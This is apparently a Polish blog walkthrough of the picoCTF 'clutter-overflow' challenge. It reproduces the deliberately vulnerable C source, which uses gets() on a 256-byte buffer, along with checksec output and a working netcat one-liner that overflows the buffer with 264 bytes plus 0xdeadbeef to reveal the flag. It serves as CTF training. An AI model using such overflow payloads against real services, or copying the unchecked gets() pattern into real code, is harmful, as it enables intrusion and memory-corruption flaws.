W tym poście opiszę rozwiązania zadania clutter-overflow z picoCTF.
Program wykonywalny można pobrać do zadania. Można na nim np. wywołać komendę checksec. Sprawdza ona jakie mechanimy bezpieczeństwa zostały zastosowane w pliku.
- picoctf@webshell:~$ checksec chall
- [*] '/home/wojtek32756-picoctf/chall'
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x400000)
- Stripped: No
Z pliku można się dowiedzieć, że architektura jest 64 bitowa, little endian. Brak mechanizmów ochrowny RELRO, brak "kanarka", mechanim ochrony pamięci włączony, brak PIE (adres pamięci statyczne), brak usuniętych symboli debugowania (stripped no).
Do zadania dołączony jest kod programu:
- #include <stdio.h>
- #include <stdlib.h>
- #define SIZE 0x100
- #define GOAL 0xdeadbeef
- const char* HEADER =
- " ______________________________________________________________________\n"
- "|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
- "| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
- "|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
- "| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
- "|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
- "| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
- "|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
- "| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
- "|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
- ".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
- "| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
- "| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
- "|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
- "|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
- "\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
- "\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
- "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
- "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
- int main(void)
- {
- long code = 0;
- char clutter[SIZE];
- setbuf(stdout, NULL);
- setbuf(stdin, NULL);
- setbuf(stderr, NULL);
- puts(HEADER);
- puts("My room is so cluttered...");
- puts("What do you see?");
- gets(clutter);
- if (code == GOAL) {
- printf("code == 0x%llx: how did that happen??\n", GOAL);
- puts("take a flag for your troubles");
- system("cat flag.txt");
- } else {
- printf("code == 0x%llx\n", code);
- printf("code != 0x%llx :(\n", GOAL);
- }
- return 0;
- }
Jeśli do zmiennej kode zostaną wprowadzone dane jak w nagłówku GOAL (0xdeadbeef) to zostanie wyświetlona flaga.
Dane wprowadzone do programu zostają wpisane do tablicy clutter[256]. W programie nie ma kontroli wprowadzonych danych. Oznacza to, że można przekroczyć pojemność buffora w celu nadpisania danych. Można to sprawdzić przez zapełnienie bufora. Wprowadzenie 268 znaków nadpisuje dane w zmiennej code:
- picoctf@webshell:~$ nc mars.picoctf.net 31890
- """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
- My room is so cluttered...
- What do you see?
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- code == 0x41414141
- code != 0xdeadbeef :(
Czyli należy wprowadzić 264 jakiekolwiek znaki. Następnie na ostatnich 4 bajtach danych wprowadzić potrzebne dane.
- picoctf@webshell:~$ nc mars.picoctf.net 31890
- My room is so cluttered...
- What do you see?
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
- code == 0x34333231
- code != 0xdeadbeef :(
Bajty muszą być też odwrócone (little endian). Powyżej widać że do zmiennej zamiast 1234 zostało wpisane 4321. Dane nie mogą być też wprowadzone bezpośrednio w programie, ponieważ nie będą one poprawnie sformatowane.
Flagę można uzyskać przez wprowadzenie następującej komendy:
- (printf 'A%.0s' {1..264}; printf '\xef\xbe\xad\xde\n') | nc mars.picoctf.net 31890
Wynik wykonania operacji:
- picoctf@webshell:~$ (printf 'A%.0s' {1..264}; printf '\xef\xbe\xad\xde\n') | nc mars.picoctf.net 31890
- ______________________________________________________________________
- |^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
- | ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
- |^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
- | ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \^ ^ |
- |^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \ ^ _ ^ / | | \^ ^|
- | ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | // | /_\ ^| | ____ ____ | | ^ |
- |^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|
- | ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
- |^ ^ ^ ^ ^| / ( \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \|^ ^|
- .-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |
- | |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\ |^ ^|
- | ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
- |'.____'_^||/!\@@@@@/!\|| _'______________.'|== =====
- |\|______|===============|________________|/|""""""""""""""""""""""""""
- " ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
- ""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
- """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
- """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
- My room is so cluttered...
- What do you see?
- code == 0xdeadbeef: how did that happen??
- take a flag for your troubles
- picoCTF{xxxxxxxxxx_xxxxxxx_xx_xx_xxxxxx}
Brak komentarzy:
Prześlij komentarz